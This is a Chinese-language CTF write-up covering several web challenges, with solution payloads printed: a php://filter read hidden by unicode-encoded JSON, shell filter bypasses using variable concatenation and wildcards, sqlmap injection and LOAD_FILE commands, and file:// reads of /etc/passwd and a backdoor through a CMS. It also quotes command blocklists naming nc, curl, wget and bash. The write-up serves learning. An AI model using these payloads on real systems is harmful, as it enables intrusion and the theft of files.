read-data
给了我们代码,打开看一下
const express = require('express')
const app = express();
const port = 3000;
const fs = require('fs')
try {
const inputD = fs.readFileSync('table.txt', 'utf-8');
text = inputD.toString().split("\n").map(e => e.trim());
} catch (err) {
console.error("读取文件出错:", err);
process.exit(1);
}
app.get('/', (req, res) => {
if (!req.query.name) {
res.send("你查询了吗? XD")
return;
}
let goodLines = []
text.forEach( line => {
if (line.match(req.query.name)) {
goodLines.push(line)
}
});
res.json({"查询结果":goodLines})
})
app.get('/:id/:firstName/:lastName', (req, res) => {
res.send("FLAG")
})
app.listen(port, () => {
console.log(App server listening on ${port}. (Go to http://localhost:${port}));
});
读取 table.txt 文件的内容,并将每行文本作为一个元素存入text 数组
在/下get一个name
如果text中的元素正好能匹配到name的值,则返回该元素
最后/:id/:fistname/:lastName来回显flag
get
?name=.
即可回显全部元素
看到最下面的Flag Holder为50,但第一个Ricardo Olsen为0
所以Flag Holder的id应该为51
所以/51/Flag/Holder即可得到flag
try_rce_me
<?php
error_reporting(0);
highlight_file(FILE);
function is_safe($input) {
$blacklist = [
'\.\.',
'(php|file|glob|data|tp|zip|zlib|phar):',
'flag'
];
$pattern = '/' . implode('|', $blacklist) . '/i';
return !preg_match($pattern, $input);
}
$requestBody = file_get_contents('php://input');
$parsedJson = json_decode($requestBody, true);
if (is_safe($requestBody) && isset($parsedJson) && isset($parsedJson['pages'])) {
$pageUrl = $parsedJson['pages'];
$pageContent = file_get_contents($pageUrl);
if (!$pageContent || !is_safe($pageContent)) {
$pageContent = "<p>not found</p>\n";
}
} else {
$pageContent = '<p>invalid request</p>';
}
$pageContent = preg_replace('/flag\{.+\}/i', 'flag{123}', $pageContent);
echo json_encode(['content' => $pageContent]);
?>
用php://input协议来接收ison_decode格式的pages
有个黑名单过滤和preg_replace替换
json_decode可以接收unicode编码
所以用filter伪协议编码unicode即可绕过
filter协议:
php://filter/convert.base64-encode/resource=/flag
unicode编码:
\u0070\u0068\u0070\u003A\u002F\u002F\u0066\u0069\u006C\u0074\u0065\u0072\u002F\u0063\u006F\u006E\u0076\u0065\u0072\u0074\u002E\u0062\u0061\u0073\u0065\u0036\u0034\u002D\u0065\u006E\u0063\u006F\u0064\u0065\u002F\u0072\u0065\u0073\u006F\u0075\u0072\u0063\u0065\u003D\u002F\u0066\u006C\u0061\u0067
最终payload:
{"pages":"\u0070\u0068\u0070\u003A\u002F\u002F\u0066\u0069\u006C\u0074\u0065\u0072\u002F\u0063\u006F\u006E\u0076\u0065\u0072\u0074\u002E\u0062\u0061\u0073\u0065\u0036\u0034\u002D\u0065\u006E\u0063\u006F\u0064\u0065\u002F\u0072\u0065\u0073\u006F\u0075\u0072\u0063\u0065\u003D\u002F\u0066\u006C\u0061\u0067"}
post传即可获得flag
simple_php
<?php
error_reporting(0);
highlight_file(FILE);
function is_safe($input) {
$blacklist = [
'\.\.',
'flag',
'\\\\'
];
$pattern = '/' . implode('|', $blacklist) . '/i';
return !preg_match($pattern, $input);
}
$requestBody = file_get_contents('php://input');
$parsedJson = json_decode($requestBody, true);
if (is_safe($parsedJson['cmd']) && isset($parsedJson['cmd']) && strpos($requestBody, '\u') === false ) {
$cmd = $parsedJson['cmd'];
if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|zip|mod|sl|find|sed|cp|mv|ty|php|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|date|bash|env|\?|wget|\'|\"|whoami/i', $cmd)) {
system($cmd);
print_r("Ok,I seem to be safe!");
}
}
提示:
这道题在上一题的基础上过滤了很多东西,过滤很严格,unicode编码不能用了
绕过cat:
能替换cat的命令被过滤完了,但是&和$没被ban
这里用拼接变量
a=ca&&b=t
所以$a$b=cat
空格和txt都没被ban,所以接下来要绕过flag.
这里都可以用[]通配符
flag.=[e-h][k-m][0-b][e-h][+-0]
所以payload:
{"cmd":"a=ca&&b=t&&$a$b /[e-h][k-m][0-b][e-h][+-0]txt"}
其他方法
f=l&&g=s&&h=he&&i=ad&&j=txt&&a=ca&&b=t&&c=fla&&d=g&&e=$($f$g -a|$h$i -n 1)&&$a$b /$c$d$e$j
大概思路差不多,只不过这里绕过.的方式tql
接起来就是ls -a | head -n 1
ls -a表示显示所有文件包括隐藏文件,返回的第一行肯定是.
再用head -n 1来获取第一行
simple_php_revenge
这题就多过滤了反引号,用上一题的payload就行
人才(做的)管理系统 by hacked_1
一进来看到熟悉的页面
一开始没发现其他东西,于是试了下爆破,发现用户名不是admin,那就大概率不是爆破了
仔细看了下源代码
登录成功后进入到/index.html
手动进入即可得到flag
人才(做的)管理系统 by hacked_2
提示:
那就是sql注入了
于是开始找注入点
一开始蠢掉了
因为这题是接着上一题的,所以一开始一直在/index.html那个页面里试,然后一直找不到注入点
后来才知道是在一开始的登录界面注入
试了下没什么可用的回显,应该是盲注,于是用sqlmap
先随便输个用户1密码1
抓包
可以看到是用post传的
于是复制这个http包
在kali桌面上创个1.txt文件,粘贴刚复制的内容
开始用sqlmap跑(一个个试,慢慢跑就行)
查库:sqlmap -r '/home/plb/Desktop/1.txt' --dbs
查表:sqlmap -r '/home/plb/Desktop/1.txt' -D staff --tables
查列:sqlmap -r '/home/plb/Desktop/1.txt' -D staff -T flag --columns
查字段:sqlmap -r '/home/plb/Desktop/1.txt' -D staff -T flag -C "flag" --dump
人才(做的)管理系统 by hacked_3
提示:
所以应该是要执行命令了
继续用sqlmap
sqlmap -r '/home/plb/Desktop/1.txt' --sql-shell
--sql-shell
参数可以请求一个交互式的 SQL shell 提示符,允许用户输入和执行 SQL 查询和命令。
可以看到成功了,接下来就是用命令获取根目录下的flag
找到一条命令: LOAD_FILE()函数能够返回文件内容,SQL语句为:SELECT LOAD_FILE(‘文件路径/文件名’)
所以改成select load_file(‘/flag’)
就可以得到flag了
love_cms
下载代码,然后放到D盾扫一下
发现三个危险文件
第一个和第三个都是php混淆
尝试去解混淆,搞了半天解不了
分析第二个文件
找到危险函数file_get_contents
public function prohibit_words() {
$door = $_POST['prohibit_words'];
$contents = file_get_contents($door);
if(isset($_POST['dosubmit'])){
echo $contents;
D('config')->update(array('value'=>$_POST['prohibit_words']), array('name'=>'prohibit_words'), true);
delcache('configs');
showmsg(L('operation_success'), '', 1);
}
include $this->admin_tpl('prohibit_words');
}
用post接收prohibit_words然后放到file_get_contents()
而且满足下面这个if语句就可以把file_get_contents()接收的内容echo出来
所以这是可以利用的
接下来找可以触发prohibit_words()方法的地方
找找找在prohibit_words.html找到如下:
这里可以触发prohibit_words()方法并输出
所以要打开prohibit_words.html
打开/admin/system_manage/prohibit_words.html
然后进行post传参
用file://可以读取文件
prohibit_words=file:///etc/passwd&dosubmit=1
在给的文件中可以看到一个backdoor.php
尝试读取
经过尝试,在/var/www/html下
prohibit_words=file:///var/www/html/backdoor.php&dosubmit=1
查看源代码可以看到后门
这里还骗我们去解码
因为hackdoor.php在/var/www/html下
所以直接访问/backdoor.php就可以利用后门了
/backdoor.php?SV9sb3ZlX215X2dpcmxmcmllbmRfdmVyeV9tdWNo=ls /
接着读flaaaaaaaaaaaaaag就行
这就是我彭神
肖神带带我
我是肖神粉丝,听说这里有肖神出没